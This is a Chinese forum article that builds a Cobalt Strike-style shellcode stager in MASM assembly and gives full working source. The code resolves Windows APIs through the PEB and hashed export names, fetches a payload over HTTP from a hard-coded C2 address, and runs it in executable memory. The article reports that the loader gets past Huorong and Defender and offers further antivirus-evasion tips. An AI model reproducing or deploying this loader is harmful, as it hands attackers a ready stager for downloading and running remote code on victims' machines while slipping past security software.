在前面的文章中读过CobaltStrike的汇编代码,整体的思路就是用某种函数将shellcode加载到内存,然后跳到写入shellcode内存的地方执行
0x01 前言
在前面的文章中读过CobaltStrike的汇编代码,整体的思路就是用某种函数将shellcode加载到内存,然后跳到写入shellcode内存的地方执行
如果只是调用函数,不可避免的会让函数在导入表中
用GetProcAddress在没有加密的情况下函数名会出现在.data段中
某天逛倾旋大佬博客的时候,发现大佬直接写汇编代码用nasm编译成obj文件,再使用link生成exe
那shellcode本就是汇编语言,稍加修改不就可以直接编译成exe了吗
这样避免了导入表会存在函数,也不会出现在C中用VirtualAlloc开一块空间,然后shellcode又开一块空间的情况,直接使用汇编加载完整shellcode就可以了
本次文章就来简单实现一下
0x02 编译器&&基础知识
这次的编译器选择的是masm32
大佬文章中用的是nasm,实际测试的时候nasm对低版本windows的兼容性有点差,到winxp就执行不了了
当然也有可能是链接器有问题,网上实在找不到老版本的链接器..
下面是masm的格式
.386;声明需要使用386的CPU指令,当然还有486,586这里就不展开了
.MODEL flat ;代码段和数据段同用4GB的内存空间
.STACK ;定义栈段,windows中栈是操作系统划分的,一般不定义
.DATA ;数据段
.CODE ;代码段
有了这些就可以开始写代码了
先整理一下思路,准备写个简单点的
- 在数据段存放混淆过的函数名和参数,再开出一些空间用来存放后面得到的函数指针
- 通过PEB找到kernel32.dll的地址然后找到GetProcAddress地址
- 写一个解密用的函数,不需要太复杂,但是最好不要用xor,这个指令还是有点敏感
- 把函数名解密,用GetProcAddress找到函数的地址存放到在数据段开的空间
- 得到全部需要用到的函数指针,最后就正常的调用函数
0x03 代码编写
数据段
首先是.data段
因为是模仿CS写的,用的函数也是shellcode里面的那些
.DATA
Point0 db 4 dup(0);GetProcAddress
Point1 db 4 dup(0);VirtualAlloc
;db是伪指令意思是指define byte,还有dw-word,dd-dword,dup是duplicate的缩写是重复的意思
;db 4 dup(0)是指重复写入四字节的0,这里的意思就是留一个四字节的空间用来存放函数指针
;当然别的数字也没关系因为这里要覆盖掉的
Point0_dll db 4 dup(0);kernel32.dll
Point1_dll db 4 dup(0);wininet.dll
;这里和上面一样用来存放dll的地址
Dll1 db 74h,6ah,6dh,6ah,6dh,66h,77h,2dh,67h,6fh,6fh,00h ;wininet.dll
func1 db 55h,6ah,71h,77h,76h,62h,6fh,42h,6fh,6fh,6ch,60h,00h ;VirtualAlloc
;这里是混淆后的dll名称和函数名称,在结尾要加上0,不然字符串会一直连接下去不能截取
func4_param db "aa"
func5_param db 32h,33h,2dh,37h,33h,2dh,33h,31h,31h,31h,31h,0
func6_param0 db "HTTP/100",00h
func6_param1 db "/z9q8",00h
func6_param2 db "GET",00
;这些就是一些参数了,可以选择混淆也可以明文,ip地址最好混淆一下
上面没写全,就差不多这个意思,别的函数和dll啥的都可以按照上面来
数据段
.CODE
_START:
;固定格式不用这个会提示warning A4023: with /coff switch, leading underscore required for start address : START
;这里开始写汇编代码
call Strlen ;就是调用Strlen函数,下面是具体的实现
Strlen:
xor ecx,ecx
mov esi,[esp+8]
s:lodsb
inc ecx
cmp AL,0
jnz s
dec ecx
ret
END _START
混淆实现
之前尝试过,xor关键字很容易被识别出来,整个简单点的,所有字符的十六进制-1好了
; win.asm
.386
.MODEL flat
.STACK
.DATA
func1 db 55h,6ah,71h,77h,76h,62h,6fh,42h,6fh,6fh,6ch,60h,00h ;VirtualAlloc
.CODE
_START:
push offset DWORD PTR func3
;这是的offset是伪指令,意思是取func1的地址,如果直接 push func1取的是前面四个字符
Decode:
mov ebx,[esp+4]
;当前esp的值是call下面的要执行的代码的地址,所以+4取到push进来的值
;因为要改字符都要-1所以要先得到字符串的长度,这样可以只要需要循环几次
;需要写一个得到字符串长度的函数
call Strlen;调用Strlen,这时候长度在ecx寄存器,直接用loop指令
x:mov AL, BYTE PTR [ebx + ecx - 1]
;ebx是指向被混淆的字符串的指针,加上ecx这个指针就到了末尾,最后-1就到了最后一个字符,中括号就和C语言中的&是相同的,用BYTE PTR设定了取一字节存入AL中
inc AL ;因为设定的是混淆的字符串是-1,+1后就正确了
mov BYTE PTR [ebx + ecx - 1], AL ;最后把动过的字符串放回原来的位置
loop x ;如果ecx不为0那么到x位置继续循环
ret 4 ;前面push了
Strlen:
xor ecx,ecx ;首先把ecx置零
mov esi,[esp+8] ;因为这里又call了所以要取esp+8的位置,放到esi里面
s:lodsb
;lodsb执行一次会把esi执行的第一个字节存入al中,然后esi+1
inc ecx ;自加1
cmp AL,0 ;对比AL是否为0,不为0标志位不动
jnz s ;要是标志为不为1跳回s位置重新执行
dec ecx ;因为这里ecx是算上0的,所以要减1
ret 4 ;返回,因为前面有一个push为了堆栈平衡所以要多弹出4字节
END _START
完整代码
可以先用python生成混淆后的字符串
a = "LoadLibraryA"
for i in range(0, len(a)):
print(hex((ord(a[i]))-1).replace("0x",""),end="h,")
print("00h")
; win.asm
.386
.MODEL flat
.STACK
.DATA
Point0 db 4 dup(0);GetProcAddress
Point1 db 4 dup(0);VirtualAlloc
Point2 db 4 dup(0);
Point3 db 4 dup(0);
Point4 db 4 dup(0);InternetOpenA
Point5 db 4 dup(0);InternetConnectA
Point6 db 4 dup(0);HttpOpenRequestA
Point7 db 4 dup(0);HttpSendRequestA
Point8 db 4 dup(0);InternetReadFile
Point0_dll db 4 dup(0);kernel32.dll
Point1_dll db 4 dup(0);wininet.dll
Dll1 db 76h,68h,6dh,68h,6dh,64h,73h,2dh,63h,6bh,6bh,00h ;wininet.dll
func1 db 55h,68h,71h,73h,74h,60h,6bh,40h,6bh,6bh,6eh,62h,00h ;VirtualAlloc
func3 db 4bh,6eh,60h,63h,4bh,68h,61h,71h,60h,71h,78h,40h,00h ;LoadLibraryA
func4 db 48h,6dh,73h,64h,71h,6dh,64h,73h,4eh,6fh,64h,6dh,40h,00h ;InternetOpenA
func5 db 48h,6dh,73h,64h,71h,6dh,64h,73h,42h,6eh,6dh,6dh,64h,62h,73h,40h,00h ;InternetConnectA
func6 db 47h,73h,73h,6fh,4eh,6fh,64h,6dh,51h,64h,70h,74h,64h,72h,73h,40h,00h ;HttpOpenRequestA
func7 db 47h,73h,73h,6fh,52h,64h,6dh,63h,51h,64h,70h,74h,64h,72h,73h,40h,00h ;HttpSendRequestA
func8 db 48h,6dh,73h,64h,71h,6dh,64h,73h,51h,64h,60h,63h,45h,68h,6bh,64h,00h ;InternetReadFile
func4_param db "aa"
func5_param db 30h,2fh,2dh,30h,32h,2fh,2dh,33h,2dh,31h,2fh,33h,00h
func6_param0 db "HTTP/100",00h
func6_param1 db "/5quA",00h
func6_param2 db "GET",00
;上面都是一些函数名,dll名,参数啥的,存在数据段
.CODE
ASSUME FS:NOTHING ;指定FS,不然用FS+0x30找PEB会找不到
_START:
call Getkernel32DLL ;找kerner32.dll的地址
mov DWORD PTR [Point0_dll], ebx ;上一个函数结束后kernel32的地址在
call Get_Function ;找到GetProcAddress的地址
mov DWORD PTR [Point0],edx ;地址存入Point0
push offset DWORD PTR func3 ;压入混淆后的字符串
call Decode ;解码,正确的字符串会覆盖在原先的位置
push offset DWORD PTR Dll1
call Decode
mov eax,DWORD PTR [Point0_dll] ;kernel32的地址存入eax
push offset DWORD PTR func3 ;压入函数名
push eax;压入地址
call DWORD PTR [Point0] ;调用GetProcAddress函数
push offset DWORD PTR Dll1 ;上面得到的是LoadLibraryA的地址,这时候eax是指向LoadLibraryA的函数指针,这里push wininet的字符串,下面直接call eax就可以加载wininet.dll
call eax;call LoadLibraryA
mov DWORD PTR [Point1_dll], eax ;wininet地址存入Point1_dll中
push offset DWORD PTR func4
call Decode
mov eax, DWORD PTR [Point1_dll]
push offset DWORD PTR func4
push eax
call DWORD PTR [Point0]
mov DWORD PTR [Point4], eax
push offset DWORD PTR func5
call Decode
mov eax, DWORD PTR [Point1_dll]
push offset DWORD PTR func5
push eax
call DWORD PTR [Point0]
mov DWORD PTR [Point5], eax
push offset DWORD PTR func6
call Decode
mov eax, DWORD PTR [Point1_dll]
push offset DWORD PTR func6
push eax
call DWORD PTR [Point0]
mov DWORD PTR [Point6], eax
push offset DWORD PTR func7
call Decode
mov eax, DWORD PTR [Point1_dll]
push offset DWORD PTR func7
push eax
call DWORD PTR [Point0]
mov DWORD PTR [Point7], eax
push offset DWORD PTR func1
call Decode
mov eax, DWORD PTR [Point0_dll]
push offset DWORD PTR func1
push eax
call DWORD PTR [Point0]
mov DWORD PTR [Point1], eax
push offset DWORD PTR func8
call Decode
mov eax, DWORD PTR [Point1_dll]
push offset DWORD PTR func8
push eax
call DWORD PTR [Point0]
mov DWORD PTR [Point8], eax
;上面都是类似的操作,把字符串压入然后解密,得到的函数指针存入数据段中
push offset DWORD PTR func5_param ;ip地址解密
call Decode
push 0
push 0
push 0
push 1
push offset DWORD PTR func4_param
call DWORD PTR [Point4] ;调用InternetOpenA
push 0
push 0
push 3
push 0
push 0
push 52h;这里是端口
push offset DWORD PTR func5_param
push eax
call DWORD PTR [Point5] ;InternetConnectA
push 0
push 4000000h
push 0
push 0
push offset DWORD PTR func6_param0
push offset DWORD PTR func6_param1
push offset DWORD PTR func6_param2
push eax
call DWORD PTR [Point6] ;HttpOpenRequestA
mov DWORD PTR [Point2],eax ;将得到的句柄存入Point2中
push 0
push 0
push 0
push 0
push eax
call DWORD PTR [Point7] ;HttpSendRequestA
push 40h
push 1000h
push 400000h
push 0
call DWORD PTR [Point1] ;VirtualAlloc
push offset DWORD PTR Point3
push 400000h
push eax
mov edi,eax ;VirtualAlloc的地址存入edi
mov eax,DWORD PTR [Point2]
push eax
call DWORD PTR [Point8] ;InternetReadFile
push edi;edi入栈,这时候存的是VirtualAlloc开辟的地址
ret ;跳到VirtualAlloc开辟的地址执行
Getkernel32DLL:
xor ecx,ecx
mov eax,fs:[ecx+30h]
mov eax, [eax+0Ch]
mov esi, [eax+14h]
lodsd
xchg eax, esi
lodsd
mov ebx,[eax+10h]
ret
Get_Function:
mov edx,[ebx+3ch]
add edx,ebx
mov edx, [edx+78h]
add edx, ebx
mov esi, [edx+20h]
add esi, ebx
xor ecx,ecx
getfunc:inc ecx
lodsd
add eax,ebx
cmp DWORD PTR [eax], 50746547h
jnz getfunc
cmp DWORD PTR [eax+4], 41636f72h
jnz getfunc
mov esi, [edx+24h]
add esi, ebx
mov cx, [esi + ecx * 2]
dec ecx
mov esi, [edx+1ch]
add esi, ebx
mov edx, [esi + ecx * 4]
add edx, ebx
ret
Decode:
mov ebx,[esp+4]
call Strlen
x:mov AL, BYTE PTR [ebx + ecx - 1]
inc AL
mov BYTE PTR [ebx + ecx - 1], AL
loop x
ret 4
Strlen:
xor ecx,ecx
mov esi,[esp+8]
s:lodsb
inc ecx
cmp AL,0
jnz s
dec ecx
ret
END _START
然后用下面的指令编译,ml和link都在masm32/bin目录下
ml /c /coff /Cp masm.asm#编译为obj文件
link /subsystem:windows masm.obj#生成exe文件
实测此方法是可以过火绒和wdf的
360在刚编译好的时候是查不出来的,但是在机器上放一下就会杀掉了,应该是有模拟运行这样的东西,毕竟静态混淆过了,动态执行后在内存中该复原的还是要复原
用了myccl找了一下特征码,数据段提示的是那几个被混淆过的字符串
代码段是搜索GetProcAddress函数的位置
cmp DWORD PTR [eax], 50746547h
jnz getfunc
cmp DWORD PTR [eax+4], 41636f72h
看来要学习一下CS的shellcode的写法了
0x04 重新编写
- 存入一个特征码
- 得到导入表中的函数数量,存入ecx中
- 遍历函数名称,字符右移13位,遍历完函数名后对比特征码,如果不同ecx-1,如果相同话就拿ecx去找函数实际地址
本来还需要得到dll名称的长度再加上后面混淆后的字符,对比特征码的,偷懒不写了
这是cs取函数的方法,尽可能的避免了字符串的出现
和上面一样,要先写出混淆的代码,这里用汇编语言来实现
;confusion.asm
.386
.MODEL flat,stdcall ;调用约定为stdcall
includelib kernel32.lib
includelib msvcrt.lib ;包含msvcrt.lib,这样才可以调用里面的函数
strcmp PROTO C, :DWORD,:DWORD
printf PROTO C, :VARARG ;定义参数类型
LoadLibraryA PROTO :DWORD ;加载dll用到
.STACK
.DATA
func db "LoadLibraryA",00h ;LoadLibraryA 要找的函数的函数名
dll db "wininet.dll";指定要找的函数的动态链接库
Point0 db 4 dup(0) ;kernel32地址
func_name db 4 dup(0) ;遍历的函数名
tz db 4 dup(0),00h ;混淆后的内容
hex db "%x",00h ;打印的结果以十六进制显示
.CODE
ASSUME FS:NOTHING
_START:
push offset dword ptr dll
call LoadLibraryA ;加载dll将dll地址存入Point0
mov DWORD PTR [Point0], eax
mov ebx, eax;dll地址存入ebx
mov edx,dword ptr ds:[ebx+3ch]
add edx, ebx
mov edx,dword ptr ds:[edx+78h]
add edx, ebx
mov ecx,dword ptr ds:[edx+18h] ;NumberOfNames得到函数数量
mov edx,dword ptr ds:[edx+20h] ;AddressOfNames函数名称的偏移
add edx, ebx;AddressOfNames地址
a:dec ecx ;ecx-1
mov esi,dword ptr ds:[edx+ecx*4];得到函数名称偏移
add esi,ebx ;得到函数名称地址
mov dword ptr [func_name],esi ;得到的函数名称存入func_name
xor edi,edi ;xor置零
x:xor eax,eax ;eax置零
lodsb
rol edi, 2
add edi,eax ;上面就是简单的混淆
cmp al,0;如果对比到0说明函数名遍历结束
jnz x
mov dword ptr [tz], edi ;得到的特征存入tz
pushad ;全部寄存器全部入栈,因为strcmp执行后会修改几个寄存器的值,为了保证寄存器的值一样,先入栈保存
push offset dword ptr func ;要找的函数名
push DWORD PTR func_name;遍历到的函数名
call strcmp ;执行strcmp
pop ebx ;因为strcmp不会内平栈所以pop弹出参数
pop ebx ;同上
cmp eax,0 ;对比是否相同
popad ;复原寄存器
jnz a
push dword ptr tz ;相同就走到这里特征入栈
push offset dword ptr hex ;以十六进制显示
call printf ;调用函数
END _START
;ml /c /coff /Cp confusion.asm
;link /subsystem:console /libpath:c:\masm32\lib confusion.obj 这里用console打印的结果会在控制台显示,windows的话不显示控制台,然后要设定lib的路径
0x6fceae14——LoadLibraryA
0xb7a84d25——InternetOpenA
0xea07de71——InternetConnectA
0x737cae72——HttpOpenRequestA
0x7524ae72——HttpSendRequestA
0x79c5937c——VirtualAlloc
0xea134901——InternetReadFile
; win.asm
.386
.MODEL flat
.STACK
.DATA
Point1 db 4 dup(0);VirtualAlloc
Point2 db 4 dup(0);
Point3 db 4 dup(0);
Point4 db 4 dup(0);InternetOpenA
Point5 db 4 dup(0);InternetConnectA
Point6 db 4 dup(0);HttpOpenRequestA
Point7 db 4 dup(0);HttpSendRequestA
Point8 db 4 dup(0);InternetReadFile
Point0_dll db 4 dup(0);kernel32.dll
Point1_dll db 4 dup(0);wininet.dll
IED_struct db 4 dup(0);IMAGE_EXPORT_DIRECTORY结构指针
func1 db 7ch,93h,0c5h,79h;VirtualAlloc
func3 db 14h,0aeh,0ceh,6fh ;LoadLibraryA
func4 db 25h,4dh,0a8h,0b7h ;InternetOpenA
func5 db 71h,0deh,07h,0eah ;InternetConnectA
func6 db 72h,0aeh,7ch,73h ;HttpOpenRequestA
func7 db 72h,0aeh, 24h,75h ;HttpSendRequestA
func8 db 01h,49h,13h,0eah ;InternetReadFile
func4_param db "aa"
func5_param db "10.130.4.205",00h
func6_param0 db "HTTP/100",00h
func6_param1 db "/5quA",00h
func6_param2 db "GET",00
.CODE
ASSUME FS:NOTHING
_START:
call Getkernel32DLL
mov DWORD PTR [Point0_dll], ebx
push dword ptr func3
push dword ptr Point0_dll
call Decode
push 0074656eh
push 696e6977h
push esp
call eax
mov dword ptr [Point1_dll], eax
push dword ptr func4
push eax
call Decode
mov dword ptr Point4,eax
push dword ptr func5
push dword ptr Point1_dll
call Decode
mov dword ptr Point5,eax
push dword ptr func6
push dword ptr Point1_dll
call Decode
mov dword ptr Point6,eax
push dword ptr func7
push dword ptr Point1_dll
call Decode
mov dword ptr Point7,eax
push dword ptr func8
push dword ptr Point1_dll
call Decode
mov dword ptr Point8,eax
push dword ptr func1
push dword ptr Point0_dll
call Decode
mov dword ptr Point1,eax
push 0
push 0
push 0
push 1
push offset DWORD PTR func4_param
call DWORD PTR [Point4]
push 0
push 0
push 3
push 0
push 0
push 52h
push offset DWORD PTR func5_param
push eax
call DWORD PTR [Point5]
push 0
push 4000000h
push 0
push 0
push offset DWORD PTR func6_param0
push offset DWORD PTR func6_param1
push offset DWORD PTR func6_param2
push eax
call DWORD PTR [Point6]
mov DWORD PTR [Point2],eax
push 0
push 0
push 0
push 0
push eax
call DWORD PTR [Point7]
push 40h
push 1000h
push 400000h
push 0
call DWORD PTR [Point1]
push offset DWORD PTR Point3
push 400000h
push eax
mov edi,eax
mov eax,DWORD PTR [Point2]
push eax
call DWORD PTR [Point8]
jmp s
s:jmp edi
int 3
Getkernel32DLL:
xor ecx,ecx
mov eax,fs:[ecx+30h]
mov eax, [eax+0Ch]
mov esi, [eax+14h]
lodsd
xchg eax, esi
lodsd
mov ebx,[eax+10h]
ret
Decode:
mov ebx,[esp+4]
mov eax,[esp+8]
mov edx,dword ptr ds:[ebx+3ch]
add edx, ebx
mov edx,dword ptr ds:[edx+78h]
add edx, ebx
mov dword ptr [IED_struct], edx
mov ecx,dword ptr ds:[edx+18h]
mov edx,dword ptr ds:[edx+20h]
add edx, ebx
a:dec ecx
mov esi,dword ptr ds:[edx+ecx*4]
add esi,ebx
xor edi,edi
x:xor eax,eax
lodsb
rol edi, 2
add edi,eax
cmp al,0
jnz x
cmp dword ptr [esp+8h],edi
jnz a
mov edx,dword ptr [IED_struct]
mov eax,dword ptr ds:[edx+24h]
add eax,ebx
mov cx,word ptr ds:[eax+ecx*2]
mov edx, dword ptr ds:[edx+1ch]
add edx,ebx
mov eax,dword ptr ds:[edx+ecx*4]
add eax,ebx
ret 8
END _START
这方法可以过常见的杀软,但是丢到vir上面查杀的还是挺多的
可以用到花指令,各种同义指令,少用call,jmp,push这类的,可以当一种思路
- 本文作者: Macchiato
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1536
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!